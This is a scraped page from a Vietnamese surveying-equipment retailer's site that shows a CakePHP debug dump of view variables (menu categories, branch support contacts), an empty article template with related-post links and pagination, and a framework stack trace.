'Catproduct' => array( 'id' => '1', 'name' => 'Trang chủ', 'slug' => 'trang-chu' ) ), (int) 1 => array( 'Catproduct' => array( 'id' => '2', 'name' => 'Sản phẩm', 'slug' => 'san-pham' ) ), (int) 2 => array( 'Catproduct' => array( 'id' => '3', 'name' => 'Giới thiệu', 'slug' => 'gioi-thieu' ) ), (int) 3 => array( 'Catproduct' => array( 'id' => '5', 'name' => 'Download', 'slug' => 'download' ) ), (int) 4 => array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'slug' => 'tin-tuc' ) ), (int) 5 => array( 'Catproduct' => array( 'id' => '6', 'name' => 'Liên hệ', 'slug' => 'lien-he' ) ) ) $support = array( (int) 0 => array( 'Support' => array( 'id' => '13', 'name' => 'Co so Ha noi', 'phone' => '098 987 678', 'yahoo' => 'duycuong7640', 'skype' => 'duycuong7640', 'pos' => '0', 'created' => '2013-09-13', 'modified' => '2015-05-05', 'status' => '1', 'yahoo1' => 'duycuong7640', 'skype1' => '', 'hotline' => '0987 654 999', 'email' => '', 'name1' => '' ) ), (int) 1 => array( 'Support' => array( 'id' => '16', 'name' => 'Co so TP.HCM', 'phone' => '3252 436 432', 'yahoo' => 'duycuong7640', 'skype' => 'tuvantubep', 'pos' => '0', 'created' => '2014-01-15', 'modified' => '2015-05-05', 'status' => '1', 'yahoo1' => 'duycuong7640', 'skype1' => '', 'hotline' => '0987 654 999', 'email' => '', 'name1' => '' ) ) ) $content_for_layout = '<div class="bg-cat-danhmuc"> <div class="cat-title-danhmuc"> <a href="" title=""> <h1></h1> </a> </div> </div> <div class="box-content-detail"> <div class="clear-content"></div><div class="clear-content"></div> <div class="col-product"> <div class="box-new-content"> <div class="box-new-detail"> <div class="time-date"> 12:00:00 <span>16/06/2016</span> </div><!--end time-date--><div class="clear-content"></div> <div class="box-like-share"> <div class="like1"> <div class="fb-like" data-href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" data-layout="standard" data-action="like" data-show-faces="true" data-share="true"></div> </div> </div><!--end box-like-share--><div class="clear-content"></div> <div class="ct-tt"> <div class="clear-main"></div> </div><!--end ct-tt--> <!--<div class="fb-comments" data-href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" data-width="715" data-numposts="5" data-colorscheme="light"></div>--> <div class="clear-content"></div><div class="clear-content"></div> </div><!--end box-new-detail--> <div class="bar-new-detail"> <label>Private same category</label> <div class="clear-main"></div> <ul> <li> <a href="http://www.quangtayqht.vn/cach-kiem-tra-va-hieu-chinh-may-kinh-vi-dien-tu.htm" title=""> <h3> <span>(11-09-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/mot-so-ung-dung-cua-may-kinh-vi-trong-trac-dia.htm" title=""> <h3> <span>(11-09-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/nhung-cach-dinh-vi-duong-di-cho-dan-phuot.htm" title=""> <h3> <span>(22-08-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/thuoc-day-yamayo.htm" title=""> <h3> <span>(22-08-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/nhung-loi-thuong-gap-khi-su-dung-may-toan-dac-dien-tu.htm" title=""> <h3> <span>(25-07-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ban-da-chon-trac-dia-thanh-dat-la-don-vi-cung-cap-may-moc-do-dac-cho-du-an-cua-minh-chua.htm" title=""> <h3> <span>(24-07-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/phan-mem-ung-dung-may-toan-dac-dien-tu-ban-nen-biet.htm" title=""> <h3> <span>(13-06-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/pin-may-toan-dac-dien-tu-topcon.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/huong-dan-co-ban-su-dung-may-bo-dam.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/huong-dan-sac-pin-may-bo-dam-dung-ky-thuat.htm" title=""> <h3> <span>(08-05-2017)</span></h3> </a> </li> </ul> <div class="clear-main"></div> </div><!--end bar-new-detail--> <div class="clear-main"></div> <div class="pagination"> <span><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:1" rel="first">« First</a></span><span class="prev"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:4" rel="prev">« Previous</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:1">1</a></span>...<span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:2">2</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:3">3</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:4">4</a></span><span class="current number">5</span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:6">6</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:7">7</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:8">8</a></span>...<span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:46">46</a></span><span class="number"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:47">47</a></span><span class="next"><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:6" rel="next">Next »</a></span><span><a href="/Product/chitiet/su-that-toan-hoc-theo-so-tay-thich-hoc-toan/js/script.js/down.gif/page:47" rel="last">End »</a></span>Page 5/47. View 10/461. </div> <div class="clear-main"></div> </div><!--end box-ctbar--> </div> </div>' $scripts_for_layout = '' $cap1 = array( 'Catproduct' => array( 'id' => '6', 'name' => 'Liên hệ', 'slug' => 'lien-he' ) ) $dm_c2 = array() $cap2 = array( 'Catproduct' => array( 'id' => '74', 'name' => 'Sổ sách, báo biểu khí tượng thủy văn', 'parent_id' => '2', 'alias' => 'so-sach-bao-bieu-khi-tuong-thuy-van', 'images' => null, 'lft' => '76', 'rght' => '77', 'pos' => '27', 'status' => '1', 'title_seo' => 'Sổ sách, báo biểu khí tượng thủy văn', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-07-06', 'modified' => '2019-07-06', 'slug' => 'so-sach-bao-bieu-khi-tuong-thuy-van', 'cate' => '4', 'link' => 'san-pham', 'name_eng' => '', 'name_tq' => '', 'type' => 'product', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $dm_c3 = array()include - APP/View/Elements/menu.ctp, line 23 View::_evaluate() - CORE/Cake/View/View.php, line 920 View::_render() - CORE/Cake/View/View.php, line 883 View::element() - CORE/Cake/View/View.php, line 424 include - APP/View/Layouts/home.ctp, line 107 View::_evaluate() - CORE/Cake/View/View.php, line 920 View::_render() - CORE/Cake/View/View.php, line 883 View::renderLayout() - CORE/Cake/View/View.php, line 539 View::render() - CORE/Cake/View/View.php, line 483 Controller::render() - CORE/Cake/Controller/Controller.php, line 957 ProductController::chitiet() - APP/Controller/ProductController.php, line 135 ReflectionMethod::invokeArgs() - [internal], line ?? Controller::invokeAction() - CORE/Cake/Controller/Controller.php, line 485 Dispatcher::_invoke() - CORE/Cake/Routing/Dispatcher.php, line 186 Dispatcher::dispatch() - CORE/Cake/Routing/Dispatcher.php, line 161 [main] - APP/webroot/index.php, line 92
12:00:00
16/06/2016
PROJECT IS IMPLEMENTED
